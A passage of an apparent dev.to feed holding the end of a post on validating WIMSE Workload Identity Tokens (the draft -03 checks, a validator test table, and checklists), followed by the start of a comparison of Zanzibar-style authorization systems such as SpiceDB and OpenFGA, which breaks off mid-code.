&lt;code&gt;typ&lt;/code&gt; conveys &lt;code&gt;wit+jwt&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The JWS signature is valid under those anchors (Section 3: &lt;code&gt;kid&lt;/code&gt; picks the key; without &lt;code&gt;kid&lt;/code&gt;, deployment policy must make the choice unambiguous).&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;cnf&lt;/code&gt; contains a &lt;code&gt;jwk&lt;/code&gt; with an &lt;code&gt;alg&lt;/code&gt; member, as specified in Section 5.1.&lt;/li&gt;
&lt;li&gt;Unknown claims are ignored.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Before any of that, the whole thing "follows RFC 7515 and the JWT best practices in [rfc8725bis]". That sentence is the one carrying &lt;code&gt;exp&lt;/code&gt;. It isn't in the list, but Section 5.1 makes &lt;code&gt;exp&lt;/code&gt; mandatory, Section 9.3.1 says "The WIT MUST have a limited lifetime", and Section 5.3 names "an expired validity time window" as a validation failure. You have to enforce it. The checklist won't remind you.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fwimse-workload-creds-03%2Fdiagrams%2F02-validation-flow.png%3Fv%3Dd73438d0" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fwimse-workload-creds-03%2Fdiagrams%2F02-validation-flow.png%3Fv%3Dd73438d0" alt="WIT validation flow: six numbered checks from Section 5.1.3, each with a 400 rejection branch, then the checks the list omits (exp, iss mismatch), then the proof-of-possession layer with the audience check from trusted configuration, then authorization on the full identifier" width="720" height="902"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The bottom half of that flow isn't in Section 5.1.3, and -03 is explicit about why it's needed. New Section 9.2:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Validating a peer's credential against the trust anchors for a trust domain establishes that the peer belongs to that trust domain, but does not by itself establish which workload the peer represents.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;And: "Proof of possession does not mitigate this vulnerability." Passing checks 1 to 6 plus a valid PoP proves that the caller is some workload in &lt;code&gt;example.com&lt;/code&gt; holding the key in its WIT. Whether it's the workload you wanted is a separate comparison.&lt;/p&gt;

&lt;h3&gt;
  
  
  Audience and "who did I call?"
&lt;/h3&gt;

&lt;p&gt;-02 handled that comparison with a requirement nobody could implement uniformly: "Implementations MUST allow for defining this mapping between the workload's access path and the workload identifier (e.g., through callback functions)." -03 removes it (issues #173 and #175) and states three conditions instead:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Each workload must know its own identifier.&lt;/li&gt;
&lt;li&gt;A callee must be able to verify that a request is intended for it.&lt;/li&gt;
&lt;li&gt;A caller that authenticates the callee must know the identifier it expects the callee to present.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;At the transport layer, the client checks the server certificate against that expected identifier per &lt;a href="https://www.rfc-editor.org/rfc/rfc9525" rel="noopener noreferrer"&gt;RFC 9525&lt;/a&gt;. At the application layer there's a new Section 5.2:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;A recipient MUST verify that the audience refers to it, using trusted configuration rather than request fields such as &lt;code&gt;Host&lt;/code&gt;, because intermediaries may rewrite the request URI.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The audience lives in the proof, not the WIT. In WPT it's &lt;code&gt;aud&lt;/code&gt;, which "SHOULD contain the HTTP target URI" but may be "a deployment-specific value" after rewriting. In HTTP signatures it's the mandatory &lt;code&gt;wimse-aud&lt;/code&gt; parameter, compared "using the Simple String Comparison method" against "one of the audience values in its trusted configuration". The http-signature draft deliberately leaves &lt;code&gt;@authority&lt;/code&gt; out of the signature, because proxies rewrite it. The -03 rule tells the recipient to look at its own config, not at the request, and both companion drafts already do that.&lt;/p&gt;

&lt;h3&gt;
  
  
  Revocation, 401, keys
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Section 9.3.1: "This document does not define a revocation mechanism for WITs and does not rely on one". You MAY run a Token Status List or a &lt;code&gt;jti&lt;/code&gt; deny-list, and if you do, &lt;code&gt;jti&lt;/code&gt; MUST be in every WIT. In Section 5.1 &lt;code&gt;jti&lt;/code&gt; is still OPTIONAL, so a validator can't tell from the token whether the issuer is in that mode. WICs get the same stance: short lifetimes, no reliance on CRL or OCSP (9.4.1).&lt;/li&gt;
&lt;li&gt;Section 5.3: -02 said 401 was NOT RECOMMENDED. -03 allows it "when an acceptable HTTP authentication mechanism exists that can be returned with the WWW-Authenticate HTTP header". Issue #402 gives the reason: "WPT uses 401". Since August, WPT rides in &lt;code&gt;Authorization: WPT &amp;lt;jwt&amp;gt;&lt;/code&gt;, and wpt-02's Error Conditions answer WPT failures with a 401 and &lt;code&gt;WWW-Authenticate: WPT&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Section 9.5: keys SHOULD be regenerated per credential "unless the key is sufficiently protected, e.g., non-exportable and hardware-bound", and "Verifiers must not infer such stronger properties from the WIT or WIC alone."&lt;/li&gt;
&lt;li&gt;Section 9.2: deprovisioning a workload doesn't invalidate its existing WITs or WICs. They work until &lt;code&gt;exp&lt;/code&gt; plus clock skew.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Hands-on: run the checklist against the spec
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://github.com/0-draft/dev.to/tree/main/articles/assets/wimse-workload-creds-03"&gt;&lt;code&gt;validate_wit.py&lt;/code&gt;&lt;/a&gt; implements the six checks in order, with a preconfigured map from trust domain to anchors. &lt;code&gt;example.com&lt;/code&gt; gets the Identity Server key published in Section 5.1. &lt;code&gt;lab.example&lt;/code&gt; gets a key I generate so I can sign mutated tokens. It never dereferences &lt;code&gt;iss&lt;/code&gt;. The only dependency is &lt;code&gt;cryptography&lt;/code&gt;. The second column turns on the &lt;code&gt;exp&lt;/code&gt; check that 5.1.3 leaves to the JWT best practices.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; articles/assets/wimse-workload-creds-03 &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; ./run.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;case                                 5.1.3 only                           5.1.3 + exp
spec Figure 2 WIT                    ACCEPT                               reject: expired 2025-04-24
lab WIT, fresh                       ACCEPT                               ACCEPT
typ: JWT                             reject: typ is 'JWT'                 reject: typ is 'JWT'
sub as array of two URIs             reject: sub not one identifier       reject: sub not one identifier
sub in unconfigured domain           reject: no anchors for evil.example  reject: no anchors for evil.example
iss -&amp;gt; attacker JWKS, attacker key   reject: kid 'evil' unknown           reject: kid 'evil' unknown
right kid, attacker key              reject: bad signature                reject: bad signature
cnf.jwk without alg                  reject: no cnf.jwk.alg               reject: no cnf.jwk.alg
cnf.jwk.alg: HS256                   reject: cnf.jwk.alg HS256            reject: cnf.jwk.alg HS256
cnf.jwk.alg: EdDSA (deprecated)      ACCEPT                               ACCEPT
iss: https://other-issuer.example    ACCEPT                               ACCEPT
unknown claim example.com/team       ACCEPT                               ACCEPT
no iss, no jti                       ACCEPT                               ACCEPT
expired an hour ago                  ACCEPT                               reject: expired 2026-11-14
four segments                        reject: not one compact JWS          reject: not one compact JWS
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What I learned from it:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The re-signed -03 example verifies under the published &lt;code&gt;June 5&lt;/code&gt; key. The token is consistent. It's just old.&lt;/li&gt;
&lt;li&gt;A literal 5.1.3 implementation accepts a token that expired an hour ago. Treat &lt;code&gt;exp&lt;/code&gt; as a seventh check.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;iss: https://other-issuer.example&lt;/code&gt; on a correctly signed &lt;code&gt;lab.example&lt;/code&gt; token passes. Section 3 requires "a known, preconfigured issuer" per trust domain, but nothing says to compare a present &lt;code&gt;iss&lt;/code&gt; against it. I'd log the mismatch. Rejecting it is a local policy choice, not something the draft asks for.&lt;/li&gt;
&lt;li&gt;The attacker-JWKS case fails at key selection. There is no code path that could fetch a URL, and that is the point of #411.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;EdDSA&lt;/code&gt; passes because it's still in the registry. Decide on purpose whether you accept it.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Loose ends
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Two companion drafts cite a section that doesn't exist.&lt;/strong&gt; wpt-02's WPT validation rules say "the recipient MUST first validate the WIT as specified in Section 5.1.4 of [I-D.ietf-wimse-workload-creds]". http-signature-08 says the same in two places. -03 has no 5.1.4: the TOC goes 5.1.1 header, 5.1.2 additional claims, 5.1.3 validating. -02 had no 5.1.4 either. http-signature-08 also sends readers to "Sec. 1.2" for the deployment architecture, which was right for -02 and is now 1.1, because -03 deleted "Use In Other Protocols". These are small, but a validator that follows the references lands on nothing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Membership versus identity is still deployment work.&lt;/strong&gt; Section 9.2 names the gap and Section 1.2 lists the conditions, but how a caller learns the identifier it expects, and how a callee learns its own audience values, are left to configuration. That is a reasonable call for a credential spec. Still, it's the part most likely to be skipped in practice, because skipping it doesn't break anything until a sibling workload in the same trust domain calls you.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The shorter Section 4.&lt;/strong&gt; -02 had a paragraph for deployments with "several labels for the same runtime (for example a stable service identity and a specific instance)": put the access-decision identity in the credential and never add a second identifier for correlation. -03 cuts it (#395) and keeps "exactly one". Instances that share an identifier can be told apart by &lt;code&gt;jti&lt;/code&gt;, and Section 9.2 warns that "the identifier alone cannot distinguish them for authorization or auditing."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Section 1.2 softened one MUST.&lt;/strong&gt; -02 said implementations "MUST enforce the URI requirements" of the identifier draft. -03 says they "are expected to conform". If your identifier parsing was gated on that MUST, it now rests on draft-ietf-wimse-identifier alone.&lt;/p&gt;

&lt;p&gt;The chair, Justin Richer, asked the list on 30 October to "flag anything that you'd consider a substantive cha[n]ge that would require additional WG discussion", because this is a core document. When I checked the thread on 15 November it still had no replies. If you implement WITs, the 5.1.4 references and the missing &lt;code&gt;exp&lt;/code&gt; line are both easy things to raise there.&lt;/p&gt;

&lt;h2&gt;
  
  
  Checklist
&lt;/h2&gt;

&lt;p&gt;For a validator:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Map trust domain to anchors out of band. Unknown trust domain means reject, with no discovery fallback.&lt;/li&gt;
&lt;li&gt;Run the six 5.1.3 checks, plus &lt;code&gt;exp&lt;/code&gt; with an explicit skew, plus your &lt;code&gt;header.alg&lt;/code&gt; allowlist per trust domain.&lt;/li&gt;
&lt;li&gt;Never fetch anything based on &lt;code&gt;iss&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Verify that the proof's &lt;code&gt;alg&lt;/code&gt; equals &lt;code&gt;cnf.jwk.alg&lt;/code&gt; and that its audience matches your configured values, not &lt;code&gt;Host&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Authorize on the full identifier, scoped to its trust domain (Section 7), and compare it to the identifier you expected.&lt;/li&gt;
&lt;li&gt;Return 400 by default. Use 401 only with &lt;code&gt;WWW-Authenticate: WPT&lt;/code&gt; or another real scheme.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For an issuer:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Exactly one identifier in &lt;code&gt;sub&lt;/code&gt; / one URI SAN.&lt;/li&gt;
&lt;li&gt;Always set &lt;code&gt;cnf.jwk.alg&lt;/code&gt;. Prefer &lt;code&gt;Ed25519&lt;/code&gt; over &lt;code&gt;EdDSA&lt;/code&gt; in new keys, &lt;code&gt;ES256&lt;/code&gt; for maximum reach.&lt;/li&gt;
&lt;li&gt;Emit &lt;code&gt;jti&lt;/code&gt; if anyone downstream might run a deny-list.&lt;/li&gt;
&lt;li&gt;Lifetimes in hours. Fresh key per credential unless it's non-exportable and hardware-bound.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>security</category>
      <category>identity</category>
      <category>jwt</category>
      <category>microservices</category>
    </item>
    <item>
      <title>Zanzibar Implementations Compared (Late 2026): SpiceDB, OpenFGA, Permify, Keto, Topaz, Warrant</title>
      <dc:creator>kt</dc:creator>
      <pubDate>Sat, 14 Nov 2026 22:24:58 +0000</pubDate>
      <link>https://dev.to/kanywst/zanzibar-implementations-compared-late-2026-spicedb-openfga-permify-keto-topaz-warrant-43nf</link>
      <guid>https://dev.to/kanywst/zanzibar-implementations-compared-late-2026-spicedb-openfga-permify-keto-topaz-warrant-43nf</guid>
      <description>&lt;p&gt;I wrote the same docs-and-folders model for SpiceDB and OpenFGA, loaded both, and wrote the same four tuples. SpiceDB answered the write with a token. OpenFGA answered with &lt;code&gt;{}&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;That empty object is the most important line in this comparison. The Zanzibar paper's answer to the "new enemy" problem is the zookie: a token you get back from a write and send with a later check, so the check is evaluated at a snapshot no older than your write. Six open-source projects describe themselves as Zanzibar-inspired. Two of them hand you a working zookie.&lt;/p&gt;

&lt;p&gt;The paper itself, tuples, rewrites, Leopard and the 10 ms story are in my &lt;a href="https://dev.to/kanywst/google-zanzibar-deep-dive-handling-2-trillion-acls-in-under-10ms-f06"&gt;Google Zanzibar Deep Dive&lt;/a&gt;. If you are still deciding whether you need ReBAC at all, start with &lt;a href="https://dev.to/kanywst/rbac-vs-abac-vs-rebac-how-to-choose-and-implement-access-control-models-3i2d"&gt;RBAC vs ABAC vs ReBAC&lt;/a&gt;. This article assumes you already want a Zanzibar-style system and are picking one. Everything below was checked on 2026-11-15; the full notes with per-row sources live at &lt;a href="https://0-draft.github.io/zanzibar-paper/en/ecosystem/compare/" rel="noopener noreferrer"&gt;zanzibar-paper: Zanzibar-style systems compared&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Who still ships
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fzanzibar-implementations-compared-2026%2Fdiagrams%2F01-timeline.png%3Fv%3Dbb91896b" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fzanzibar-implementations-compared-2026%2Fdiagrams%2F01-timeline.png%3Fv%3Dbb91896b" alt="Per-project lanes from first release to the latest release, with license changes, CNCF milestones, the Warrant and Permify acquisitions and Aserto's wind-down" width="720" height="534"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;gh api repos/&amp;lt;org&amp;gt;/&amp;lt;repo&amp;gt;/releases/latest&lt;/code&gt; on 2026-11-15:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Project&lt;/th&gt;
&lt;th&gt;Steward&lt;/th&gt;
&lt;th&gt;License&lt;/th&gt;
&lt;th&gt;Latest release&lt;/th&gt;
&lt;th&gt;State&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;SpiceDB&lt;/td&gt;
&lt;td&gt;AuthZed&lt;/td&gt;
&lt;td&gt;Apache-2.0&lt;/td&gt;
&lt;td&gt;v1.57.1 (2026-11-10)&lt;/td&gt;
&lt;td&gt;Active&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OpenFGA&lt;/td&gt;
&lt;td&gt;CNCF Incubating, Okta as core maintainer; managed as Auth0 FGA&lt;/td&gt;
&lt;td&gt;Apache-2.0&lt;/td&gt;
&lt;td&gt;v1.22.1 (2026-10-28)&lt;/td&gt;
&lt;td&gt;Active&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Permify&lt;/td&gt;
&lt;td&gt;FusionAuth (acquired 2025-11-20)&lt;/td&gt;
&lt;td&gt;AGPL-3.0 since 2025-05-12&lt;/td&gt;
&lt;td&gt;v1.7.6 (2026-11-05)&lt;/td&gt;
&lt;td&gt;Active, docs moved to fusionauth.io&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Ory Keto&lt;/td&gt;
&lt;td&gt;Ory&lt;/td&gt;
&lt;td&gt;Apache-2.0&lt;/td&gt;
&lt;td&gt;v26.2.0 (2026-03-20)&lt;/td&gt;
&lt;td&gt;Last commit 2026-07-29&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Topaz&lt;/td&gt;
&lt;td&gt;Former Aserto maintainers&lt;/td&gt;
&lt;td&gt;Apache-2.0&lt;/td&gt;
&lt;td&gt;v0.33.28 (2026-11-14)&lt;/td&gt;
&lt;td&gt;Active; Aserto shut its SaaS on 2025-05-31&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Warrant&lt;/td&gt;
&lt;td&gt;WorkOS&lt;/td&gt;
&lt;td&gt;Apache-2.0&lt;/td&gt;
&lt;td&gt;v1.15.1 (2024-06-10)&lt;/td&gt;
&lt;td&gt;No release since; warrant.dev now points to WorkOS FGA&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Three governance facts change the risk profile more than any feature:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;OpenFGA is the only one owned by a foundation. The CNCF TOC moved it to Incubating on 2025-10-28 (announced 2025-11-11). A vendor exit does not take the project with it.&lt;/li&gt;
&lt;li&gt;Permify's LICENSE file has changed five times: Apache-2.0 (2022-07-14), GPL-3.0, AGPL-3.0, Apache-2.0 again (2023-02-14), and AGPL-3.0 (commit "docs: update license", 2025-05-12). Every release since then is AGPL, which matters the moment you modify it and serve it over a network. FusionAuth's acquisition post says "Permify stays open source", which is true and also not a license promise.&lt;/li&gt;
&lt;li&gt;Warrant's own README already told you where it stood: "this open source version of Warrant is only capable of handling low-to-moderate throughput and is best suited for POCs". The same paragraph names Warrant-Tokens as what high-throughput serving needs, and the OSS server never issues one. The repo has had no release in 17 months.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Topaz is the interesting survivor. Aserto's "final chapter" post (2025-04-27) wound the company down but said a group of maintainers would keep supporting Topaz, and they have: v0.33.28 shipped the day before I checked.&lt;/p&gt;

&lt;h2&gt;
  
  
  Same model, two schema languages
&lt;/h2&gt;

&lt;p&gt;The model: users, folders, documents. A document has an owner and viewers, sits in a folder, and anyone who can view the folder can view the document. Chen's viewer grant on one document only counts from the office network, so there is a condition too.&lt;/p&gt;

&lt;p&gt;SpiceDB, following the arrow example in the &lt;a href="https://authzed.com/docs/spicedb/concepts/schema" rel="noopener noreferrer"&gt;schema docs&lt;/a&gt; (&lt;code&gt;permission read = reader + parent_folder-&amp;gt;read&lt;/code&gt;) and the caveat example in the &lt;a href="https://authzed.com/docs/spicedb/concepts/caveats" rel="noopener noreferrer"&gt;caveats docs&lt;/a&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;definition user {}

caveat in_office(ip ipaddress) {
  ip.in_cidr("10.20.0.0/16")
}

definition folder {
  relation owner: user
  relation viewer: user
  permission view = viewer + owner
}

definition document {
  relation parent: folder
  relation owner: user
  relation viewer: user | user with in_office
  permission edit = owner
  permission view = viewer + edit + parent-&amp;gt;view
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;OpenFGA, following the &lt;a href="https://github.com/openfga/sample-stores/blob/main/stores/gdrive/model.fga" rel="noopener noreferrer"&gt;gdrive sample store&lt;/a&gt; (&lt;code&gt;define can_read: viewer or owner or viewer from parent&lt;/code&gt;) and the &lt;a href="https://openfga.dev/docs/modeling/conditions" rel="noopener noreferrer"&gt;conditions guide&lt;/a&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;model
  schema 1.1

type user

type folder
  relations
    define owner: [user]
    define viewer: [user] or owner

type document
  relations
    define parent: [folder]
    define owner: [user]
    define editor: owner
    define viewer: [user, user with in_office] or editor or viewer from parent

condition in_office(ip: ipaddress) {
  ip.in_cidr("10.20.0.0/16")
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both of these were loaded into real servers by the script below, so they parse. The structural difference is visible already. SpiceDB splits &lt;code&gt;relation&lt;/code&gt; (stored edges) from &lt;code&gt;permission&lt;/code&gt; (computed, never written). OpenFGA has only &lt;code&gt;define&lt;/code&gt;, and a relation is writable if and only if it has a type restriction in brackets. In OpenFGA you can write a tuple to &lt;code&gt;viewer&lt;/code&gt; and also compute it; in SpiceDB you cannot write to &lt;code&gt;view&lt;/code&gt;. OpenFGA's server only accepts the JSON form of the model, so the DSL goes through &lt;code&gt;fga model transform&lt;/code&gt; first.&lt;/p&gt;

&lt;p&gt;The other four, mapped onto the paper's three rewrite leaves (&lt;code&gt;_this&lt;/code&gt;, &lt;code&gt;computed_userset&lt;/code&gt;, &lt;code&gt;tuple_to_userset&lt;/code&gt;):&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Union / intersect / exclude&lt;/th&gt;
&lt;th&gt;Folder inheritance (tuple_to_userset)&lt;/th&gt;
&lt;th&gt;Schema format&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;SpiceDB&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;+&lt;/code&gt; &lt;code&gt;&amp;amp;&lt;/code&gt; &lt;code&gt;-&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;parent-&amp;gt;view&lt;/code&gt; (also &lt;code&gt;.any()&lt;/code&gt;, and &lt;code&gt;.all()&lt;/code&gt; which intersects)&lt;/td&gt;
&lt;td&gt;own language&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OpenFGA&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;or&lt;/code&gt; &lt;code&gt;and&lt;/code&gt; &lt;code&gt;but not&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;&lt;code&gt;viewer from parent&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;DSL compiled to JSON&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Permify&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;or&lt;/code&gt; &lt;code&gt;and&lt;/code&gt; &lt;code&gt;not&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;&lt;code&gt;parent.viewer&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;own language, plus &lt;code&gt;attribute&lt;/code&gt; and &lt;code&gt;rule&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Ory Keto&lt;/td&gt;
&lt;td&gt;`\&lt;/td&gt;
&lt;td&gt;\&lt;/td&gt;
&lt;td&gt;
&lt;code&gt; &lt;/code&gt;&amp;amp;&amp;amp;&lt;code&gt; &lt;/code&gt;!`&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Topaz&lt;/td&gt;
&lt;td&gt;`\&lt;/td&gt;
&lt;td&gt;
&lt;code&gt; &lt;/code&gt;&amp;amp;&lt;code&gt; &lt;/code&gt;-`&lt;/td&gt;
&lt;td&gt;&lt;code&gt;parent-&amp;gt;can_read&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Warrant&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;anyOf&lt;/code&gt; &lt;code&gt;allOf&lt;/code&gt; &lt;code&gt;noneOf&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;inheritIf&lt;/code&gt; + &lt;code&gt;ofType&lt;/code&gt; + &lt;code&gt;withRelation&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;JSON object types&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Keto's is the odd one. OPL looks like code, and the &lt;a href="https://github.com/ory/keto/blob/master/contrib/rewrites-example/namespaces.keto.ts" rel="noopener noreferrer"&gt;rewrites example&lt;/a&gt; in Keto's repo is a class per namespace:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;File&lt;/span&gt; &lt;span class="k"&gt;implements&lt;/span&gt; &lt;span class="nc"&gt;Namespace&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;related&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;parents&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;File&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nc"&gt;Folder&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;viewers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;User&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nc"&gt;SubjectSet&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Group&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"members"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;owners&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;User&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nc"&gt;SubjectSet&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Group&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"members"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="n"&gt;permits&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;view&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nc"&gt;Context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
      &lt;span class="kc"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;related&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;parents&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;traverse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;permits&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;view&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
